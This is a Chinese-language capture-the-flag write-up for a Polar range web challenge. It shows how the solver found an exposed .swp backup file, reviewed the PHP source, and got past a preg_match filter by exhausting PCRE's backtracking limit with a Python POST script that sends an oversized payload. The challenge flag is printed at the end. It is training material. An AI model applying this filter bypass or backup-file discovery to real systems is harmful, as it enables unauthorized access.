【WEB】Polar靶场 笔记
一.swp
1.dirsearch目录扫描
发现/.index.php.swp
访问http://a0c579f4-21e7-4a83-958d-eb86c57beaf4.www.polarctf.com:8090/.index.php.swp
出现php代码
分析代码
// 定义验证函数,检查输入是否匹配正则表达式 /sys.*nb/is
function jiuzhe($xdmtql){ return preg_match('/sys.*nb/is',$xdmtql);
} // 从POST请求获取参数 xdmtql,并使用 @ 符号抑制可能的错误
$xdmtql=@$_POST['xdmtql']; // 检查输入是否为数组
if(!is_array($xdmtql)){ // 如果输入不匹配正则表达式 /sys.*nb/isif(!jiuzhe($xdmtql)){ // 检查输入是否包含字符串 "sys nb"if(strpos($xdmtql,'sys nb')!==false){ // 若包含 "sys nb",输出flag(flag格式为 flag{*******})echo 'flag{*******}'; }else{// 若不包含 "sys nb",提示用户输入是否为真实的 .swp 文件echo 'true .swp file?'; }}else{// 如果输入匹配正则表达式 /sys.*nb/is,输出 "nijilenijile"echo 'nijilenijile'; }
}
简单来说就是要获取这段代码中的 flag,需要符合:不是数组,不匹配正则表达式,但仍满足字符串包含 "sys nb"
的条件。
我们可以利用正则表达式的回溯限制:
- 正则
/sys.*nb/is
中的.*
是贪婪匹配,会尝试匹配尽可能多的字符。 - 当你添加超长字符串时,正则引擎在尝试匹配
nb
时会进行大量回溯,最终可能达到 PHP 的回溯限制(默认是pcre.backtrack_limit = 1000000
)。 - 一旦达到限制,正则匹配会失败并返回
false
,从而绕过第一个检查。
这里写了一个python脚本发送post请求
import requests
url='http://f7587f00-8a64-4c49-ba2a-bfcd26f4738a.www.polarctf.com:8090/'
date={'xdmtql': 'sys nb'+'a'*1000000}
result=requests.post(url,data=date)
print(result.content)
得到flag
<title>PolarD&N CTF</title>
flag{4560b3bfea9683b050c730cd72b3a099}